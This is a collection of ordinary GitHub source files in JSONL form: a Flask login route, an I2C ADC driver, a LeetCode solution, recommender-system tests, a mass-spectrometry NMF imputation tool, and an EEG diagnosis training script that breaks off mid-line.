+{"seq_id":"5497788507","text":"import json\nfrom flask import jsonify, request\nfrom ..services.LoginService import LoginService\n\nclass LoginController:\n    def __init__(self, app, database):\n        self.app = app\n        self.login_service = LoginService(database)\n        self.routes()\n\n    def routes(self):\n        \n        @self.app.route('/login', methods=['POST'])\n        def login():\n            if not request.json:\n              return jsonify({'message': 'Os dados não foram passados'}), 400\n            \n            try:\n              result = self.login_service.login(request.json)\n\n              if not result:\n                 return jsonify({'message': 'Email e/ou senha incorreto(s)'}), 401\n\n              return jsonify({'message': 'Sucesso',\n                              'data': request.json}), 200\n            except Exception as e:\n                return jsonify({'message': 'Erro',\n                              'error_message': e}), 500\n            \n       \n            \n        ","repo_name":"BigRato/Sistema-de-avalia-o-de-disciplinas-e-professores","sub_path":"backend/src/controllers/LoginController.py","file_name":"LoginController.py","file_ext":"py","file_size_in_byte":973,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"74923547391","text":"#!/usr/bin/env python3\n########################################################################\n# Filename    : ADCDevice.py\n# Description : Freenove ADC Module library.\n# Author      : www.freenove.com\n# modification: 2020/04/21\n########################################################################\n\nimport time\n\nimport smbus\n\n\nclass ADCDevice(object):\n    def __init__(self):\n        self.cmd = 0\n        self.address = 0\n        self.bus = smbus.SMBus(1)\n        # print(\"ADCDevice init\")\n\n    def detectI2C(self, addr):\n        try:\n            self.bus.write_byte(addr, 0)\n            print(\"Found device in address 0x%x\" % (addr))\n            return True\n        except:\n            print(\"Not found device in address 0x%x\" % (addr))\n            return False\n\n    def close(self):\n        self.bus.close()\n\n\nclass ADS7830(ADCDevice):\n    def __init__(self):\n        super(ADS7830, self).__init__()\n        self.cmd = 0x84\n        # 0x4b is the default i2c address for ADS7830 Module.\n        self.address = 0x4b\n\n    def analogRead(self, chn):  # ADS7830 has 8 ADC input pins, chn:0,1,2,3,4,5,6,7\n        try:\n            value = self.bus.read_byte_data(\n                self.address, self.cmd | (((chn << 2 | chn >> 1) & 0x07) << 4))\n        except:\n            time.sleep(.5)\n            return self.analogRead(chn)\n        return value\n","repo_name":"justinwald99/IotHerbGarden","sub_path":"utils/adc_library.py","file_name":"adc_library.py","file_ext":"py","file_size_in_byte":1348,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"4614034809","text":"class Solution:\n    def countTriplets(self, arr: List[int]) -> int:\n        res = 0;\n        for i in range(len(arr)):\n            t = arr[i]\n            for k in range(i+1,len(arr),1):\n                t ^= arr[k]\n                if t == 0:\n                    res += k - i\n        return res","repo_name":"Aprilluabsinthe/leet","sub_path":"python/1310_XOR_Queries_of_a_Subarray.py","file_name":"1310_XOR_Queries_of_a_Subarray.py","file_ext":"py","file_size_in_byte":292,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"32531810","text":"import pandas as pd\nfrom unittest import TestCase\nimport numpy as np\nimport os\n\nfrom orange_cb_recsys.recsys import NXTopKPageRank\nfrom orange_cb_recsys.recsys.content_based_algorithm.exceptions import NotPredictionAlg\nfrom orange_cb_recsys.recsys.graph_based_algorithm.page_rank.nx_page_rank import NXPageRank\nfrom orange_cb_recsys.recsys.graphs.nx_full_graphs import NXFullGraph\nfrom test import dir_test_files\n\n\nclass TestNXPageRank(TestCase):\n\n    def setUp(self) -> None:\n        self.ratings = pd.DataFrame.from_records([\n            (\"A000\", \"tt0114576\", 1, \"54654675\"),\n            (\"A000\", \"tt0112453\", 0.5, \"54654675\"),\n            (\"A001\", \"tt0114576\", 0.5, \"54654675\"),\n            (\"A001\", \"tt0112896\", 0, \"54654675\"),\n            (\"A000\", \"tt0113041\", 0.75, \"54654675\"),\n            (\"A002\", \"tt0112453\", 0.5, \"54654675\"),\n            (\"A002\", \"tt0113497\", 0.5, \"54654675\"),\n            (\"A003\", \"tt0112453\", 0, \"54654675\")],\n            columns=[\"from_id\", \"to_id\", \"score\", \"timestamp\"])\n\n        self.graph = NXFullGraph(self.ratings)\n\n        self.filter_list = ['tt0114576', 'tt0112453', 'tt0113497']\n\n    def test_predict(self):\n        alg = NXPageRank()\n\n        # Will raise Exception since it's not a Score Prediction Algorithm\n        with self.assertRaises(NotPredictionAlg):\n            alg.predict('A000', self.graph)\n\n    def test_rank(self):\n\n        # test not personalized\n        alg = NXPageRank()\n\n        # rank with filter_list\n        res_filtered = alg.rank('A000', self.graph, filter_list=self.filter_list)\n        item_ranked_set = set(res_filtered['to_id'])\n        self.assertEqual(len(item_ranked_set), len(self.filter_list))\n        self.assertCountEqual(item_ranked_set, self.filter_list)\n\n        # rank without filter_list\n        res_all_unrated = alg.rank('A000', self.graph)\n        item_rated_set = set(self.ratings.query('from_id == \"A000\"')['to_id'])\n        item_ranked_set = set(res_all_unrated['to_id'])\n        # We expect this to be empty, since the alg should rank only unrated items (unless in filter list)\n        rated_in_ranked = item_ranked_set.intersection(item_rated_set)\n        self.assertEqual(len(rated_in_ranked), 0)\n\n        # rank with n_recs specified\n        n_recs = 1\n        res_n_recs = alg.rank('A000', self.graph, n_recs)\n        self.assertEqual(len(res_n_recs), n_recs)\n        item_rated_set = set(self.ratings.query('from_id == \"A000\"')['to_id'])\n        item_ranked_set = set(res_n_recs['to_id'])\n        # We expect this to be empty, since the alg should rank only unrated items (unless in filter list)\n        rated_in_ranked = item_ranked_set.intersection(item_rated_set)\n        self.assertEqual(len(rated_in_ranked), 0)\n\n        # test personalized\n        alg = NXPageRank(personalized=True)\n        result_personalized = alg.rank('A000', self.graph)\n\n        alg = NXPageRank()\n        result_not_personalized = alg.rank('A000', self.graph)\n\n        result_personalized = np.array(result_personalized)\n        result_not_personalized = np.array(result_not_personalized)\n\n        result_personalized.sort(axis=0)\n        result_not_personalized.sort(axis=0)\n\n        self.assertFalse(np.array_equal(result_personalized, result_not_personalized))\n\n        # alg = NXPageRank(graph=graph)\n        # rank_fs = alg.predict('A001', ratings, 1, feature_selection_algorithm=NXFSPageRank())\n        # logger.info('pg_rk results')\n        # for r in rank_fs.keys():\n        #     print(str(r) + \" \" + str(rank_fs[r]))\n\n    def test_page_rank_with_feature_selection(self):\n        # the PageRank algorithm is tested with the NXTopKPageRank Feature Selection algorithm\n        # since the Feature Selection is already tested in the dedicated test file\n        # this test only checks that the PageRank run works while defining a Feature Selection algorithm\n\n        movies_dir = os.path.join(dir_test_files, 'complex_contents', 'movies_codified/')\n        user_dir = os.path.join(dir_test_files, 'complex_contents', 'users_codified/')\n\n        df = pd.DataFrame.from_dict({'from_id': [\"1\", \"1\", \"2\", \"2\", \"2\", \"3\", \"4\", \"4\"],\n                                     'to_id': [\"tt0113228\", \"tt0113041\", \"tt0113228\", \"tt0112346\",\n                                               \"tt0112453\", \"tt0112453\", \"tt0112346\", \"tt0112453\"],\n                                     'score': [0.8, 0.7, -0.4, 1.0, 0.4, 0.1, -0.3, 0.7]})\n\n        # only one property from the dbpedia repr extracted\n        graph_with_properties: NXFullGraph = NXFullGraph(df,\n                                                         user_contents_dir=user_dir,\n                                                         item_contents_dir=movies_dir,\n                                                         item_exo_representation='dbpedia',\n                                                         user_exo_representation='local',\n                                                         item_exo_properties=None,\n                                                         user_exo_properties=['1']\n                                                         )\n\n        # fs standard algorithm\n        alg = NXPageRank(feature_selection=NXTopKPageRank())\n        result = alg.rank('4', graph_with_properties)\n        self.assertEqual(len(result), 2)\n\n        # fs personalized algorithm\n        alg = NXPageRank(personalized=True, feature_selection=NXTopKPageRank())\n        result_personalized = alg.rank('4', graph_with_properties)\n        self.assertEqual(len(result_personalized), 2)\n\n        # fs personalized algorithm and filter list\n        alg = NXPageRank(personalized=True, feature_selection=NXTopKPageRank())\n        result_personalized = alg.rank('4', graph_with_properties, filter_list=['tt0113228'])\n        self.assertEqual(len(result_personalized), 1)\n\n        # fs personalized algorithm and empty filter list\n        alg = NXPageRank(personalized=True, feature_selection=NXTopKPageRank())\n        result_personalized = alg.rank('4', graph_with_properties, filter_list=[])\n        self.assertEqual(len(result_personalized), 0)\n\n","repo_name":"Silleellie/orange_cb_recsys","sub_path":"test/recsys/graph_based_algorithm/page_rank/test_nx_page_rank.py","file_name":"test_nx_page_rank.py","file_ext":"py","file_size_in_byte":6084,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"30740842814","text":"# -*- coding: utf-8 -*-\nimport os\n\nfrom horae_reference_texts.ref_texts import ReferenceTexts\n\nFIXTURES = os.path.join(\n    os.path.dirname(os.path.realpath(__file__)),\n    \"data\",\n)\n\n\ndef test_dummy():\n    reftext = ReferenceTexts(\n        os.path.join(FIXTURES, \"test_export_heurist_horae.csv\"), \"\"\n    )\n    count, mean, std, min, max, nb_different_words = reftext.get_statistics()\n    assert count == 111\n    assert min == 1.0\n    assert max == 483.0\n    assert nb_different_words == 1457\n    assert mean == 28.945945945945947\n","repo_name":"oriflamms/text-reuse","sub_path":"tests/test_ref_texts.py","file_name":"test_ref_texts.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"72051566270","text":"\"\"\" \nMS-IMPUTER\n\nThe commandline entry point for ms_imputer.  \n\"\"\"\nimport pandas as pd \nimport numpy as np\nimport click\nimport torch\nimport os\nfrom tqdm import tqdm\nimport warnings\n\nfrom ms_imputer.models.linear import GradNMFImputer\nimport ms_imputer.utilities\n\n# not a good long term solution\nwarnings.filterwarnings(\n\taction=\"ignore\",\n\tcategory=UserWarning,\n\tmodule=\"torch\")\n\ndef cross_validate(\n\tmatrix, \n\tfolds, \n\tgrid, \n\ttol, \n\tb_size, \n\tn_epochs, \n\tlr, \n\tmin_present\n):\n\t\"\"\" \n\tRun nested cross validation for an input matrix, a given\n\thyperparameter grid and a given value of k. For each of k folds, \n\tpartition into train and validate, train NMF models across \n\tevery hparam. Record train and validation errors. Return a \n\tdataframe of per-hyperparameter averages, across each of k folds\n\t\n\tParameters\n\t----------\n\tmatrix : array-like, 2D, the input matrix \n\tfolds : int, the number of folds\n\tgrid : list, the 1D grid of n_factors to search across\n\ttol : float, the early-stopping tolerance for the NMF model\n\tb_size : int, the model batch size\n\tn_epochs : int, the maximum number of model training epochs\n\tlr : float, the model's Adam optimizer initial learning rate\n\tmin_present : int, the minimum number of present values in a row\n\t\t\t\tof the training set in order for our model to impute it\n\tReturns\n\t--------\n\taverages_df : pd.DataFrame, tabular output of cross validation\n\t\"\"\"\n\t# get indices, for k-folds cross validation\n\tk_fold_indices = ms_imputer.utilities.k_folds_split(\n\t\t\t\t\t\t\t\t\t\t\t\t\tmatrix, \n\t\t\t\t\t\t\t\t\t\t\t\t\tfolds\n\t)\n\tresults = []\n\n\t# k-folds cross validation loop\n\tfor k in tqdm(range(0, folds), unit=\"fold\"):\n\t\t# partition\n\t\ttrain, val = ms_imputer.utilities.kfolds_partition(\n\t\t\t\t\t\t\t\t\t\t\tmatrix, \n\t\t\t\t\t\t\t\t\t\t\tk_fold_indices, \n\t\t\t\t\t\t\t\t\t\t\tk,\n\t\t\t\t\t\t\t\t\t\t\tmin_present,\n\t\t)\n\t\t# hyperparameter search\n\t\tfor n_factors in grid:\n\t\t\tnmf_model = GradNMFImputer(\n\t\t\t\t\t\t\tn_rows=train.shape[0], \n\t\t\t\t\t\t\tn_cols=train.shape[1], \n\t\t\t\t\t\t\tn_factors=n_factors, \n\t\t\t\t\t\t\tstopping_tol=tol, \n\t\t\t\t\t\t\ttrain_batch_size=b_size, \n\t\t\t\t\t\t\teval_batch_size=b_size,\n\t\t\t\t\t\t\tn_epochs=n_epochs, \n\t\t\t\t\t\t\tloss_func=\"MSE\",\n\t\t\t\t\t\t\toptimizer=torch.optim.Adam,\n\t\t\t\t\t\t\toptimizer_kwargs={\"lr\": lr},\n\t\t\t)\n\t\t\t# fit model, get reconstruction\n\t\t\trecon = nmf_model.fit_transform(train, val)\n\n\t\t\t# collect errors\n\t\t\ttrain_loss = ms_imputer.utilities.mse_func_np(train, recon)\n\t\t\tval_loss = ms_imputer.utilities.mse_func_np(val, recon)\n\n\t\t\tres = {\n\t\t\t\t\"fold\": k,\n\t\t\t\t\"n_factors\": n_factors,\n\t\t\t\t\"train_error\": train_loss,\n\t\t\t\t\"valid_error\": val_loss,\n\t\t\t}\n\n\t\t\tresults += [pd.DataFrame(res, index=[0])]\n    \n\t# format nested cross validation results dataframe\n\tresults = pd.concat(results)\n\tresults = results.reset_index(drop=True)\n\n\taverages_df = pd.DataFrame(columns=[\"n_factors\", \\\n\t\t\t\t\t\t\t\t\"train_error\", \"valid_error\"])\n\t# average results across each of k folds\n\tfor factor in grid:\n\t\tsub_df = results[results[\"n_factors\"] == factor]\n\t\ttrain_err_mean = np.mean(sub_df[\"train_error\"])\n\t\tvalid_err_mean = np.mean(sub_df[\"valid_error\"])\n\n\t\taverages_df = averages_df.append({\n\t    \t\t\t\t\t\t\t'n_factors' : factor, \n\t    \t\t\t\t\t\t\t'train_error' : train_err_mean, \n\t    \t\t\t\t\t\t\t'valid_error' : valid_err_mean},\n\t    \t\t\t\t\t\t\tignore_index=True\n\t\t)\n\n\treturn averages_df\n\n@click.command()\n@click.option(\"--csv_path\", type=str, \n\t\t\t\thelp=\"path to the input matrix (.csv)\",\n\t\t\t\trequired=True)\n@click.option(\"--output_stem\", type=str,\n\t\t\t\thelp=\"file stem to use for output file\",\n\t\t\t\trequired=True)\n@click.option(\"--learning_rate\", type=float,\n\t\t\t\thelp=\"the optimizer learning rate\", \n\t\t\t\trequired=False, default=0.05)\n@click.option(\"--max_epochs\", type=int,\n\t\t\t\thelp=\"max number of training epochs\", \n\t\t\t\trequired=False, default=3000)\t\n@click.option(\"--k_folds\", type=int,\n\t\t\t\thelp=\"number of cross validation folds\", \n\t\t\t\trequired=False, default=3)\t\t\n@click.option(\"--min_present\", type=int,\n\t\t\t\thelp=\"minimum number of present values for a peptide or protein\", \n\t\t\t\trequired=False, default=4)\t\n\ndef main(\n\t\tcsv_path, \n\t\toutput_stem,\n\t\tlearning_rate, \n\t\tmax_epochs,\n\t\tk_folds,\n\t\tmin_present,\n):\n\t\"\"\"  \n\tSearch across a 1D grid of hyperparameters to select the optimal\n\tvalue for n_factors. Then train an NMF model with the optimal\n\tvalue of n_factors, and reconstruct missing values in the input\n\tmatrix. \n\n\tArguments\n\t---------\n\tcsv_path : str, posix.Path to the input {peptide, protein} quants\n\t\t\t\tmatrix. Can be trimmed or raw MaxQuant output. \n\t\t\t\tRequired. \n\toutput_stem : str, file stem to use for the reconstructed matrix\n\t\t\t\toutput file. \n\t\t\t\tRequired.\n\tlearning_rate : float, the initial learning rate to use for the \n\t\t\t\tmodel's (Adam) optimizer.\n\t\t\t\tOptional. Default=0.05.\n\tmax_epochs : int, the maximum number of training epochs for the model.\n\t\t\t\tOptional. Default=3000.\n\tk_folds : int, k, for k-folds cross validation. \n\t\t\t\tOptional. Default=10.\n\tmin_present : int, the minimum number of present values for a peptide\n\t\t\t\tor protein required for the model to impute that peptide\n\t\t\t\tor protein. \n\t\t\t\tOptional. Default=5.\n\t\"\"\"\n\t# Default model configs. Not overwritable\n\ttolerance = 0.0001\n\tbatch_size = 1000\n\tfactors_grid = [1,2,4,8,16,32]\n\n\t# trim the input file, if need be\n\ttrim_bool = ms_imputer.utilities.maxquant_trim(csv_path, output_stem)\n\tif trim_bool:\n\t\tquants_path = output_stem + \"_quants.csv\"\n\telse:\n\t\tquants_path = csv_path\n\n\t# read in quants matrix, replace 0s with nans\n\tquants_matrix = pd.read_csv(quants_path)\n\tquants_headers = quants_matrix.columns\n\tquants_matrix.replace([0, 0.0], np.nan, inplace=True)\n\tquants_matrix = np.array(quants_matrix)\n\n\t# discard (mostly) empty rows\n\tquants_matrix_trim_pd, discard_idx = ms_imputer.utilities.\\\n\t\t\t\t\t\t\t\t\t\t\t\tdiscard_empty_rows(\n\t\t\t\t\t\t\t\t\t\t\t\t\tquants_matrix, \n\t\t\t\t\t\t\t\t\t\t\t\t\tmin_present\n\t)\n\tquants_matrix_trim = np.array(quants_matrix_trim_pd)\n\n\tprint(\"running cross validation\")\n\t# run cross validation hyperparameter search\n\tcross_valid_res = cross_validate(\n\t\t\t\t\t\t\t\tquants_matrix_trim, \n\t\t\t\t\t\t\t\tk_folds, \n\t\t\t\t\t\t\t\tfactors_grid,\n\t\t\t\t\t\t\t\ttolerance, \n\t\t\t\t\t\t\t\tbatch_size, \n\t\t\t\t\t\t\t\tmax_epochs, \n\t\t\t\t\t\t\t\tlearning_rate,\n\t\t\t\t\t\t\t\tmin_present,\n\t)\n\n\t# select the optimal choice in latent factors\n\tval_err_min = np.min(cross_valid_res[\"valid_error\"])\n\tmin_fold_df = cross_valid_res[cross_valid_res[\"valid_error\"] == val_err_min]\n\toptimal_factors = list(min_fold_df[\"n_factors\"])[0]\n\n\tprint(\"training model with optimal choice in latent factors\")\n\n\t# partition -- warning: this will exclude additional rows\n\t# train, val = ms_imputer.utilities.partition(\n\t# \t\t\t\t\t\t\t\t\tquants_matrix_trim, \n\t# \t\t\t\t\t\t\t\t\tval_frac=0.1, \n\t# \t\t\t\t\t\t\t\t\tmin_present=min_present,\n\t# )\n\n\t# init optimal model\n\tnmf_model_opt = GradNMFImputer(\n\t\t\t\t\t\tn_rows=quants_matrix_trim.shape[0], \n\t\t\t\t\t\tn_cols=quants_matrix_trim.shape[1], \n\t\t\t\t\t\tn_factors=int(optimal_factors), \n\t\t\t\t\t\tstopping_tol=tolerance, \n\t\t\t\t\t\ttrain_batch_size=batch_size, \n\t\t\t\t\t\teval_batch_size=batch_size,\n\t\t\t\t\t\tn_epochs=max_epochs, \n\t\t\t\t\t\tloss_func=\"MSE\",\n\t\t\t\t\t\toptimizer=torch.optim.Adam,\n\t\t\t\t\t\toptimizer_kwargs={\"lr\": learning_rate},\n\t)\n\n\t# fit model, get reconstruction\n\toptimal_recon = nmf_model_opt.fit_transform(quants_matrix_trim)\n\toptimal_recon = pd.DataFrame(optimal_recon, columns=quants_headers)\n\toptimal_recon.replace([0, 0.0], np.nan, inplace=True)\n\n\t# the final reconstructed matrix -- reindex with the indices from\n\t\t# the initial matrix\n\t# recon_reshape = quants_matrix_trim_pd.reindex(range(quants_matrix.shape[0]),\n\t# \t\t\t\t\t\t\t\t\t\tfill_value=np.nan)\n\t# recon_reshape.columns = quants_headers\n\t# recon_reshape[discard_idx] = quants_matrix[discard_idx]\n\n\t# # how to get the non-discard indices? from the recon matrix? \n\t# recon_reshape[~discard_idx] = optimal_recon[~discard_idx]\n\n\t# write optimally reconstructed matrix to csv\n\toptimal_recon.to_csv(\n\t\t\t\t\toutput_stem + \n\t\t\t\t\t\"_reconstructed.csv\",\n\t\t\t\t\tindex=False\n\t)\n\t# cleanup\n\ttry:\n\t\tos.remove(output_stem + \"_quants.csv\")\n\texcept FileNotFoundError:\n\t\tpass\n\n\tprint(\"Done!\")\n\nif __name__ == \"__main__\":\n    main()\n\n","repo_name":"Noble-Lab/MSFactor","sub_path":"ms_imputer/ms_imputer.py","file_name":"ms_imputer.py","file_ext":"py","file_size_in_byte":7920,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"901447371","text":"# Given an array order so that all even numbers come first, without using more\n# memory\n\ndef order(lst):\n    # start going through elements with indexes captured\n    runner = 0\n    while runner < len(lst):\n        # if odd search for next even\n        if lst[runner] % 2:\n            finder = runner + 1\n            while finder < len(lst):\n                # if even found swap them out\n                if not lst[finder]%2:\n                    lst[runner], lst[finder] = lst[finder], lst[runner]\n                    break\n                else:\n                    finder += 1\n        runner += 1\n\n    print(lst)\n\nif __name__ == '__main__':\n    order([1,4,2,6,7,3,2,899,345,31,16,238,5919])\n","repo_name":"achintp/algorithm_questions","sub_path":"random/even_ordering.py","file_name":"even_ordering.py","file_ext":"py","file_size_in_byte":691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"9942588558","text":"import os\n# also check https://stackoverflow.com/questions/41861427/python-3-5-how-to-dynamically-import-a-module-given-the-full-file-path-in-the\nos.sys.path.insert(0, '/home/schirrmr/braindecode/code/')\nos.sys.path.insert(0, '/home/schirrmr/braindecode/code/braindecode/')\nos.sys.path.insert(0, '/home/schirrmr/code/auto-diagnosis/')\nimport logging\nimport time\n\nimport numpy as np\nfrom numpy.random import RandomState\nimport resampy\nfrom torch import optim\nimport torch.nn.functional as F\nimport torch as th\nfrom tensorboardX import SummaryWriter\n\nfrom braindecode.datautil.signal_target import SignalAndTarget\nfrom braindecode.torch_ext.util import np_to_var\nfrom braindecode.torch_ext.util import set_random_seeds\nfrom braindecode.experiments.experiment import Experiment\nfrom braindecode.datautil.iterators import CropsFromTrialsIterator\nfrom braindecode.experiments.monitors import (RuntimeMonitor, LossMonitor,\n                                              CroppedTrialMisclassMonitor,\n                                              MisclassMonitor)\nfrom autodiag.monitors import CroppedDiagnosisMonitor\nfrom braindecode.experiments.stopcriteria import MaxEpochs, Or\nfrom braindecode.datautil.iterators import get_balanced_batches\nfrom braindecode.torch_ext.constraints import MaxNormDefaultConstraint\nfrom braindecode.torch_ext.optimizers import AdamW\nfrom braindecode.torch_ext.schedulers import CosineAnnealing, ScheduledOptimizer\nfrom braindecode.datautil.splitters import concatenate_sets\nfrom braindecode.experiments.loggers import Printer, TensorboardWriter\nfrom copy import copy\n\n\nfrom autodiag.dataset import  DiagnosisSet\nfrom autodiag.losses import nll_loss_on_mean\n\nlog = logging.getLogger(__name__)\n\ndef create_set(X, y, inds):\n    \"\"\"\n    X list and y nparray\n    :return: \n    \"\"\"\n    new_X = []\n    for i in inds:\n        new_X.append(X[i])\n    new_y = y[inds]\n    return SignalAndTarget(new_X, new_y)\n\n\nclass TrainValidTestSplitter(object):\n    def __init__(self, n_folds, i_test_fold, shuffle):\n        self.n_folds = n_folds\n        self.i_test_fold = i_test_fold\n        self.rng = RandomState(39483948)\n        self.shuffle = shuffle\n\n    def split(self, X, y,):\n        if len(X) < self.n_folds:\n            raise ValueError(\"Less Trials: {:d} than folds: {:d}\".format(\n                len(X), self.n_folds\n            ))\n        folds = get_balanced_batches(len(X), self.rng, self.shuffle,\n                                     n_batches=self.n_folds)\n        test_inds = folds[self.i_test_fold]\n        valid_inds = folds[self.i_test_fold - 1]\n        all_inds = list(range(len(X)))\n        train_inds = np.setdiff1d(all_inds, np.union1d(test_inds, valid_inds))\n        assert np.intersect1d(train_inds, valid_inds).size == 0\n        assert np.intersect1d(train_inds, test_inds).size == 0\n        assert np.intersect1d(valid_inds, test_inds).size == 0\n        assert np.array_equal(np.sort(\n            np.union1d(train_inds, np.union1d(valid_inds, test_inds))),\n            all_inds)\n\n        train_set = create_set(X, y, train_inds)\n        valid_set = create_set(X, y, valid_inds)\n        test_set = create_set(X, y, test_inds)\n\n        return train_set, valid_set, test_set\n\n\nclass TrainValidSplitter(object):\n    def __init__(self, n_folds, i_valid_fold, shuffle):\n        self.n_folds = n_folds\n        self.i_valid_fold = i_valid_fold\n        self.rng = RandomState(39483948)\n        self.shuffle = shuffle\n\n    def split(self, X, y):\n        if len(X) < self.n_folds:\n            raise ValueError(\"Less Trials: {:d} than folds: {:d}\".format(\n                len(X), self.n_folds\n            ))\n        folds = get_balanced_batches(len(X), self.rng, self.shuffle,\n                                     n_batches=self.n_folds)\n        valid_inds = folds[self.i_valid_fold]\n        all_inds = list(range(len(X)))\n        train_inds = np.setdiff1d(all_inds, valid_inds)\n        assert np.intersect1d(train_inds, valid_inds).size == 0\n        assert np.array_equal(np.sort(np.union1d(train_inds, valid_inds)),\n            all_inds)\n\n        train_set = create_set(X, y, train_inds)\n        valid_set = create_set(X, y, valid_inds)\n        return train_set, valid_set\n\ndef create_preproc_functions(\n        sec_to_cut_at_start, sec_to_cut_at_end, duration_recording_mins,\n        max_abs_val, clip_before_resample, sampling_freq,\n        divisor):\n    preproc_functions = []\n    if (sec_to_cut_at_start is not None) and (sec_to_cut_at_start > 0):\n        preproc_functions.append(\n            lambda data, fs: (data[:, int(sec_to_cut_at_start * fs):], fs))\n    if (sec_to_cut_at_end is not None) and (sec_to_cut_at_end > 0):\n        preproc_functions.append(\n            lambda data, fs: (data[:, :-int(sec_to_cut_at_end * fs)], fs))\n    preproc_functions.append(\n        lambda data, fs: (\n        data[:, :int(duration_recording_mins * 60 * fs)], fs))\n    if (max_abs_val is not None) and (clip_before_resample):\n        preproc_functions.append(lambda data, fs:\n                                 (np.clip(data, -max_abs_val, max_abs_val),\n                                  fs))\n\n    preproc_functions.append(lambda data, fs: (resampy.resample(data, fs,\n                                                                sampling_freq,\n                                                                axis=1,\n                                                                filter='kaiser_fast'),\n                                               sampling_freq))\n    if (max_abs_val is not None) and (not clip_before_resample):\n        preproc_functions.append(lambda data, fs:\n                                 (np.clip(data, -max_abs_val, max_abs_val),\n                                  fs))\n    if divisor is not None:\n        preproc_functions.append(lambda data, fs: (data / divisor, fs))\n    return preproc_functions\n\ndef run_exp(max_recording_mins, n_recordings,\n            sec_to_cut_at_start, sec_to_cut_at_end,\n            duration_recording_mins, max_abs_val,\n            clip_before_resample,\n            sampling_freq,\n            divisor,\n            n_folds, i_test_fold,\n            shuffle,\n            merge_train_valid,\n            model,\n            input_time_length,\n            optimizer,\n            learning_rate,\n            weight_decay,\n            scheduler,\n            model_constraint,\n            batch_size, max_epochs,\n            only_return_exp,\n            time_cut_off_sec,\n            start_time,\n            test_on_eval,\n            test_recording_mins,\n            sensor_types,\n            log_dir,\n            np_th_seed,\n            cuda=True):\n    import torch.backends.cudnn as cudnn\n    cudnn.benchmark = True\n    if optimizer == 'adam':\n        assert merge_train_valid == False\n    else:\n        assert optimizer == 'adamw'\n        assert merge_train_valid == True\n\n    preproc_functions = create_preproc_functions(\n        sec_to_cut_at_start=sec_to_cut_at_start,\n        sec_to_cut_at_end=sec_to_cut_at_end,\n        duration_recording_mins=duration_recording_mins,\n        max_abs_val=max_abs_val,\n        clip_before_resample=clip_before_resample,\n        sampling_freq=sampling_freq,\n        divisor=divisor)\n\n    dataset = DiagnosisSet(n_recordings=n_recordings,\n                        max_recording_mins=max_recording_mins,\n                        preproc_functions=preproc_functions,\n                           train_or_eval='train',\n                           sensor_types=sensor_types)\n\n    if test_on_eval:\n        if test_recording_mins is None:\n            test_recording_mins = duration_recording_mins\n\n        test_preproc_functions = create_preproc_functions(\n            sec_to_cut_at_start=sec_to_cut_at_start,\n            sec_to_cut_at_end=sec_to_cut_at_end,\n            duration_recording_mins=test_recording_mins,\n            max_abs_val=max_abs_val,\n            clip_before_resample=clip_before_resample,\n            sampling_freq=sampling_freq,\n            divisor=divisor)\n        test_dataset = DiagnosisSet(n_recordings=n_recordings,\n                                max_recording_mins=None,\n                                preproc_functions=test_preproc_functions,\n                                train_or_eval='eval',\n                                sensor_types=sensor_types)\n    if not only_return_exp:\n        X,y = dataset.load()\n        max_shape = np.max([list(x.shape) for x in X],\n                           axis=0)\n        assert max_shape[1] == int(duration_recording_mins *\n                                   sampling_freq * 60)\n        if test_on_eval:\n            test_X, test_y = test_dataset.load()\n            max_shape = np.max([list(x.shape) for x in test_X],\n                               axis=0)\n            assert max_shape[1] == int(test_recording_mins *\n                                       sampling_freq * 60)\n    if not test_on_eval:\n        splitter = TrainValidTestSplitter(n_folds, i_test_fold,\n                                          shuffle=shuffle)\n    else:\n        splitter = TrainValidSplitter(n_folds, i_valid_fold=i_test_fold,\n                                          shuffle=shuffle)\n    if not only_return_exp:\n        if not test_on_eval:\n            train_set, valid_set, test_set = splitter.split(X, y)\n        else:\n\n            train_set, valid_set = splitter.split(X, y)\n            test_set = SignalAndTarget(test_X, test_y)\n            del test_X, test_y\n        del X,y # shouldn't be necessary, but just to make sure\n        if merge_train_valid:\n            train_set = concatenate_sets([train_set, valid_set])\n            # just reduce valid for faster computations\n            valid_set.X = valid_set.X[:8]\n            valid_set.y = valid_set.y[:8]\n            # np.save('/data/schirrmr/schirrmr/auto-diag/lukasrepr/compare/mne-0-16-2/train_X.npy', train_set.X)\n            # np.save('/data/schirrmr/schirrmr/auto-diag/lukasrepr/compare/mne-0-16-2/train_y.npy', train_set.y)\n            # np.save('/data/schirrmr/schirrmr/auto-diag/lukasrepr/compare/mne-0-16-2/valid_X.npy', valid_set.X)\n            # np.save('/data/schirrmr/schirrmr/auto-diag/lukasrepr/compare/mne-0-16-2/valid_y.npy', valid_set.y)\n            # np.save('/data/schirrmr/schirrmr/auto-diag/lukasrepr/compare/mne-0-16-2/test_X.npy', test_set.X)\n            # np.save('/data/schirrmr/schirrmr/auto-diag/lukasrepr/compare/mne-0-16-2/test_y.npy', test_set.y)\n    else:\n        train_set = None\n        valid_set = None\n        test_set = None\n\n\n    log.info(\"Model:\\n{:s}\".format(str(model)))\n    if cuda:\n        model.cuda()\n    model.eval()\n    in_chans = 21\n    # determine output size\n    test_input = np_to_var(\n        np.ones((2, in_chans, input_time_length, 1), dtype=np.float32))\n    if cuda:\n        test_input = test_input.cuda()\n    out = model(test_input)\n    n_preds_per_input = out.cpu().data.numpy().shape[2]\n    log.info(\"{:d} predictions per input/trial\".format(n_preds_per_input))\n    iterator = CropsFromTrialsIterator(batch_size=batch_size,\n                                       input_time_length=input_time_length,\n                                      n_preds_per_input=n_preds_per_input,\n                                       seed=np_th_seed)\n    assert optimizer in ['adam', 'adamw'], (\"Expect optimizer to be either \"\n                                            \"adam or adamw\")\n    schedule_weight_decay = optimizer == 'adamw'\n    if optimizer == 'adam':\n        optim_class = optim.Adam\n        assert schedule_weight_decay == False\n        assert merge_train_valid == False\n    else:\n        optim_class = AdamW\n        assert schedule_weight_decay == 